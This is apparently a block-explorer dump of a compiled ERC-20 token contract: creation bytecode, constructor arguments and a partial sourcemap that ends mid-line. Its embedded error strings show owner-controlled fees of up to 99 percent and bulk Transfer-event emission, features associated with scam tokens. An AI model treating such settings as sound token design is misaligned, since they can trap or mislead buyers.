5b6133cf9190614772565b602060008282546133e091906149d0565b92505081905550601754601a54826133f89190614701565b6134029190614772565b6021600082825461341391906149d0565b925050819055506017546018548261342b9190614701565b6134359190614772565b601f600082825461344691906149d0565b925050819055505b5b60008111156134645761346387308361377b565b5b80856134709190615438565b94505b61347e87878761377b565b505050505b505050565b60008383111582906134d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134c791906140e6565b60405180910390fd5b50600083856134df9190615438565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361355b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613552906154de565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156135e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135d990615570565b60405180910390fd5b816004546135f09190615438565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546136459190615438565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516136aa91906142d2565b60405180910390a3505050565b60008083036136c9576000905061372b565b600082846136d79190614701565b90508284826136e69190614772565b14613726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161371d90615602565b60405180910390fd5b809150505b92915050565b600061377383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c6c565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036137ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137e1906150d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613859576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161385090615164565b60405180910390fd5b613864838383613ccf565b6138d08160405180606001604052806026815260200161582d60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134889092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061396581600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613a0591906142d2565b60405180910390a3505050565b600080613a1d613cd4565b90508091505090565b6000613a3130611635565b90506000602154601f54602054613a4891906149d0565b613a5291906149d0565b9050600080831480613a645750600082145b15613a7157505050613bac565b6014600c54613a809190614701565b831115613a99576014600c54613a969190614701565b92505b600060028360205486613aac9190614701565b613ab69190614772565b613ac09190614772565b90506000613ad78286613d7890919063ffffffff16565b90506000479050613ae782613dc2565b6000613afc8247613d7890919063ffffffff16565b905060006020819055506000601f819055506000602181905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613b5c90615653565b60006040518083038185875af1925050503d8060008114613b99576040519150601f19603f3d011682016040523d82523d6000602084013e613b9e565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613bea9190614441565b602060405180830381865afa158015613c07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c2b9190614e37565b90506000613c44601154836126b790919063ffffffff16565b9050613c4f84613fff565b613c615760008114613c6057600080fd5b5b600192505050919050565b60008083118290613cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613caa91906140e6565b60405180910390fd5b5060008385613cc29190614772565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613d4f5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613d73565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613dba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613488565b905092915050565b6000600267ffffffffffffffff811115613ddf57613dde615668565b5b604051908082528060200260200182016040528015613e0d5781602001602082028036833780820191505090505b5090503081600081518110613e2557613e24614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613eca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613eee91906156ac565b81600181518110613f0257613f01614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613f67307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461271d565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613fc99594939291906157d2565b600060405180830381600087803b158015613fe357600080fd5b505af1158015613ff7573d6000803e3d6000fd5b505050505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015614090578082015181840152602081019050614075565b60008484015250505050565b6000601f19601f8301169050919050565b60006140b882614056565b6140c28185614061565b93506140d2818560208601614072565b6140db8161409c565b840191505092915050565b6000602082019050818103600083015261410081846140ad565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061413d82614112565b9050919050565b61414d81614132565b811461415857600080fd5b50565b60008135905061416a81614144565b92915050565b6000819050919050565b61418381614170565b811461418e57600080fd5b50565b6000813590506141a08161417a565b92915050565b600080604083850312156141bd576141bc614108565b5b60006141cb8582860161415b565b92505060206141dc85828601614191565b9150509250929050565b60008115159050919050565b6141fb816141e6565b82525050565b600060208201905061421660008301846141f2565b92915050565b60006020828403121561423257614231614108565b5b60006142408482850161415b565b91505092915050565b6000819050919050565b600061426e61426961426484614112565b614249565b614112565b9050919050565b600061428082614253565b9050919050565b600061429282614275565b9050919050565b6142a281614287565b82525050565b60006020820190506142bd6000830184614299565b92915050565b6142cc81614170565b82525050565b60006020820190506142e760008301846142c3565b92915050565b60006020828403121561430357614302614108565b5b600061431184828501614191565b91505092915050565b60008060006060848603121561433357614332614108565b5b60006143418682870161415b565b93505060206143528682870161415b565b925050604061436386828701614191565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126143925761439161436d565b5b8235905067ffffffffffffffff8111156143af576143ae614372565b5b6020830191508360208202830111156143cb576143ca614377565b5b9250929050565b6000806000604084860312156143eb576143ea614108565b5b600084013567ffffffffffffffff8111156144095761440861410d565b5b6144158682870161437c565b9350935050602061442886828701614191565b9150509250925092565b61443b81614132565b82525050565b60006020820190506144566000830184614432565b92915050565b600060ff82169050919050565b6144728161445c565b82525050565b600060208201905061448d6000830184614469565b92915050565b61449c816141e6565b81146144a757600080fd5b50565b6000813590506144b981614493565b92915050565b6000806000606084860312156144d8576144d7614108565b5b60006144e686828701614191565b93505060206144f786828701614191565b9250506040614508868287016144aa565b9150509250925092565b6000806040838503121561452957614528614108565b5b60006145378582860161415b565b9250506020614548858286016144aa565b9150509250929050565b60008060006060848603121561456b5761456a614108565b5b600061457986828701614191565b935050602061458a86828701614191565b925050604061459b86828701614191565b9150509250925092565b6000602082840312156145bb576145ba614108565b5b60006145c9848285016144aa565b91505092915050565b600080604083850312156145e9576145e8614108565b5b60006145f78582860161415b565b92505060206146088582860161415b565b9150509250929050565b60008060006040848603121561462b5761462a614108565b5b600084013567ffffffffffffffff8111156146495761464861410d565b5b6146558682870161437c565b93509350506020614668868287016144aa565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806146b957607f821691505b6020821081036146cc576146cb614672565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061470c82614170565b915061471783614170565b925082820261472581614170565b9150828204841483151761473c5761473b6146d2565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061477d82614170565b915061478883614170565b92508261479857614797614743565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b60006147ff602f83614061565b915061480a826147a3565b604082019050919050565b6000602082019050818103600083015261482e816147f2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061486f82614170565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036148a1576148a06146d2565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b6000614908603383614061565b9150614913826148ac565b604082019050919050565b60006020820190508181036000830152614937816148fb565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b600061499a603083614061565b91506149a58261493e565b604082019050919050565b600060208201905081810360008301526149c98161498d565b9050919050565b60006149db82614170565b91506149e683614170565b92508282019050808211156149fe576149fd6146d2565b5b92915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000614a3a601d83614061565b9150614a4582614a04565b602082019050919050565b60006020820190508181036000830152614a6981614a2d565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000614aa6601d83614061565b9150614ab182614a70565b602082019050919050565b60006020820190508181036000830152614ad581614a99565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614b38602483614061565b9150614b4382614adc565b604082019050919050565b60006020820190508181036000830152614b6781614b2b565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614bca603583614061565b9150614bd582614b6e565b604082019050919050565b60006020820190508181036000830152614bf981614bbd565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614c5c603283614061565b9150614c6782614c00565b604082019050919050565b60006020820190508181036000830152614c8b81614c4f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614cee602683614061565b9150614cf982614c92565b604082019050919050565b60006020820190508181036000830152614d1d81614ce1565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614d5a602083614061565b9150614d6582614d24565b602082019050919050565b60006020820190508181036000830152614d8981614d4d565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000614dec602a83614061565b9150614df782614d90565b604082019050919050565b60006020820190508181036000830152614e1b81614ddf565b9050919050565b600081519050614e318161417a565b92915050565b600060208284031215614e4d57614e4c614108565b5b6000614e5b84828501614e22565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614e9a601b83614061565b9150614ea582614e64565b602082019050919050565b60006020820190508181036000830152614ec981614e8d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614f2c602483614061565b9150614f3782614ed0565b604082019050919050565b60006020820190508181036000830152614f5b81614f1f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614fbe602283614061565b9150614fc982614f62565b604082019050919050565b60006020820190508181036000830152614fed81614fb1565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061502a602083614061565b915061503582614ff4565b602082019050919050565b600060208201905081810360008301526150598161501d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006150bc602583614061565b91506150c782615060565b604082019050919050565b600060208201905081810360008301526150eb816150af565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061514e602383614061565b9150615159826150f2565b604082019050919050565b6000602082019050818103600083015261517d81615141565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006151ba601683614061565b91506151c582615184565b602082019050919050565b600060208201905081810360008301526151e9816151ad565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000615272604983614061565b915061527d826151f0565b606082019050919050565b600060208201905081810360008301526152a181615265565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000615304603583614061565b915061530f826152a8565b604082019050919050565b60006020820190508181036000830152615333816152f7565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000615370601383614061565b915061537b8261533a565b602082019050919050565b6000602082019050818103600083015261539f81615363565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000615402603683614061565b915061540d826153a6565b604082019050919050565b60006020820190508181036000830152615431816153f5565b9050919050565b600061544382614170565b915061544e83614170565b9250828203905081811115615466576154656146d2565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006154c8602183614061565b91506154d38261546c565b604082019050919050565b600060208201905081810360008301526154f7816154bb565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061555a602283614061565b9150615565826154fe565b604082019050919050565b600060208201905081810360008301526155898161554d565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006155ec602183614061565b91506155f782615590565b604082019050919050565b6000602082019050818103600083015261561b816155df565b9050919050565b600081905092915050565b50565b600061563d600083615622565b91506156488261562d565b600082019050919050565b600061565e82615630565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506156a681614144565b92915050565b6000602082840312156156c2576156c1614108565b5b60006156d084828501615697565b91505092915050565b6000819050919050565b60006156fe6156f96156f4846156d9565b614249565b614170565b9050919050565b61570e816156e3565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61574981614132565b82525050565b600061575b8383615740565b60208301905092915050565b6000602082019050919050565b600061577f82615714565b615789818561571f565b935061579483615730565b8060005b838110156157c55781516157ac888261574f565b97506157b783615767565b925050600181019050615798565b5085935050505092915050565b600060a0820190506157e760008301886142c3565b6157f46020830187615705565b81810360408301526158068186615774565b90506158156060830185614432565b61582260808301846142c3565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122078763639a5f0b345aa312abcb5c5a315dd6d6ac741d7e763f73f574fdbaac9f764736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000003cbfb95e59a75517640714dc4ecd678c7500f24e

-----Decoded View---------------
Arg [0] : team_ (address): 0x3cbFB95E59A75517640714dc4Ecd678c7500f24e

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000003cbfb95e59a75517640714dc4ecd678c7500f24e


Deployed Bytecode Sourcemap

3234:17395:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1501:100:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3667:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4951:64:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3303:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2620:108:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11171:157:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3677:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3778:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4506:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4466;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10161:232;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4318:355:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17031:223:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3361:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3860:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3821:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2463:92:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3965:32:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5082:218:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2176:93:5;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3421:28:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11490:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4317:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4043:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2791:127:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1443:148:5;;;;;;;;;;;;;:::i;:::-;;20173:447:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8804:127;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11336:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3634:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4206;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9784:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8043:155;;;;;;;;;;;;;:::i;:::-;;650:79:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3603:24:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4352:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8646:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1720:104:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4280:24:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10129:107:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3734:35:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4546:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4428:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11020:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5803:269:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3921:29:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3131:175:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11627:208:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5173:61;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10812:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4004:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10622:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9398:378;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10401:213;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7832:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4764:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3519:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9001:385;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19996:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4172:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3369:151:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3561:33:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8263:134;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18314:233;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4243:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1872:244:5;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4390:31:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3488:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18559:1015;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1501:100:2;1555:13;1588:5;1581:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1501:100;:::o;3667:169::-;3750:4;3767:39;3776:12;:10;:12::i;:::-;3790:7;3799:6;3767:8;:39::i;:::-;3824:4;3817:11;;3667:169;;;;:::o;4951:64:0:-;;;;;;;;;;;;;;;;;;;;;;:::o;3303:51::-;;;:::o;2620:108:2:-;2681:7;2708:12;;2701:19;;2620:108;:::o;11171:157:0:-;854:13:5;:11;:13::i;:::-;11278:9:0::1;;;;;;;;;;;11250:38;;11267:9;11250:38;;;;;;;;;;;;11311:9;11299;;:21;;;;;;;;;;;;;;;;;;11171:157:::0;:::o;3677:50::-;;;;:::o;3778:35::-;;;;:::o;4506:33::-;;;;:::o;4466:::-;;;;:::o;10161:232::-;854:13:5;:11;:13::i;:::-;10280:3:0::1;10274:4;10270:1;10254:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;10253:30;;;;:::i;:::-;10243:6;:40;;10235:100;;;;;;;;;;;;:::i;:::-;;;;;;;;;10379:5;10369:6;:16;;;;:::i;:::-;10346:20;:39;;;;10161:232:::0;:::o;4318:355:2:-;4458:4;4475:36;4485:6;4493:9;4504:6;4475:9;:36::i;:::-;4522:121;4531:6;4539:12;:10;:12::i;:::-;4553:89;4591:6;4553:89;;;;;;;;;;;;;;;;;:11;:19;4565:6;4553:19;;;;;;;;;;;;;;;:33;4573:12;:10;:12::i;:::-;4553:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;4522:8;:121::i;:::-;4661:4;4654:11;;4318:355;;;;;:::o;17031:223:0:-;854:13:5;:11;:13::i;:::-;17128:9:0::1;17123:124;17147:10;;:17;;17143:1;:21;17123:124;;;17215:10;;17226:1;17215:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;17191:44;;17200:13;;;;;;;;;;;17191:44;;;17230:4;17191:44;;;;;;:::i;:::-;;;;;;;;17166:3;;;;;:::i;:::-;;;;17123:124;;;;17031:223:::0;;;:::o;3361:53::-;3407:6;3361:53;:::o;3860:54::-;;;;:::o;3821:32::-;;;;;;;;;;;;;:::o;2463:92:2:-;2521:5;2546:1;2539:8;;2463:92;:::o;3965:32:0:-;;;;;;;;;;;;;:::o;5082:218:2:-;5170:4;5187:83;5196:12;:10;:12::i;:::-;5210:7;5219:50;5258:10;5219:11;:25;5231:12;:10;:12::i;:::-;5219:25;;;;;;;;;;;;;;;:34;5245:7;5219:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;5187:8;:83::i;:::-;5288:4;5281:11;;5082:218;;;;:::o;2176:93:5:-;854:13;:11;:13::i;:::-;2254:7:::1;2246:5;;:15;;;;;;;;;;;;;;;;;;2176:93:::0;:::o;3421:28:0:-;;;;;;;;;;;;;:::o;11490:125::-;11555:4;11579:19;:28;11599:7;11579:28;;;;;;;;;;;;;;;;;;;;;;;;;11572:35;;11490:125;;;:::o;4317:28::-;;;;:::o;4043:30::-;;;;;;;;;;;;;:::o;2791:127:2:-;2865:7;2892:9;:18;2902:7;2892:18;;;;;;;;;;;;;;;;2885:25;;2791:127;;;:::o;1443:148:5:-;854:13;:11;:13::i;:::-;1550:1:::1;1513:40;;1534:6;::::0;::::1;;;;;;;;1513:40;;;;;;;;;;;;1581:1;1564:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1443:148::o:0;20173:447:0:-;854:13:5;:11;:13::i;:::-;20327:3:0::1;20304:19;:26;;20296:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;20417:4;20405:8;:16;;:33;;;;;20437:1;20425:8;:13;;20405:33;20397:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;20520:19;20502:15;:37;;;;20569:8;20550:16;:27;;;;20604:8;20588:13;;:24;;;;;;;;;;;;;;;;;;20173:447:::0;;;:::o;8804:127::-;8854:4;854:13:5;:11;:13::i;:::-;8886:5:0::1;8870:13;;:21;;;;;;;;;;;;;;;;;;8919:4;8912:11;;8804:127:::0;:::o;11336:144::-;854:13:5;:11;:13::i;:::-;11468:4:0::1;11426:31;:39;11458:6;11426:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;11336:144:::0;;:::o;3634:30::-;;;;;;;;;;;;;:::o;4206:::-;;;;:::o;9784:369::-;854:13:5;:11;:13::i;:::-;9918::0::1;9900:15;:31;;;;9960:13;9942:15;:31;;;;9996:7;9984:9;:19;;;;10065:9;;10047:15;;10029;;:33;;;;:::i;:::-;:45;;;;:::i;:::-;10014:12;:60;;;;10109:2;10093:12;;:18;;10085:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;9784:369:::0;;;:::o;8043:155::-;854:13:5;:11;:13::i;:::-;8114:4:0::1;8098:13;;:20;;;;;;;;;;;;;;;;;;8143:4;8129:11;;:18;;;;;;;;;;;;;;;;;;8175:15;8158:14;:32;;;;8043:155::o:0;650:79:5:-;688:7;715:6;;;;;;;;;;;708:13;;650:79;:::o;3603:24:0:-;;;;;;;;;;;;;:::o;4352:31::-;;;;:::o;8646:101::-;854:13:5;:11;:13::i;:::-;8732:7:0::1;8718:11;;:21;;;;;;;;;;;;;;;;;;8646:101:::0;:::o;1720:104:2:-;1776:13;180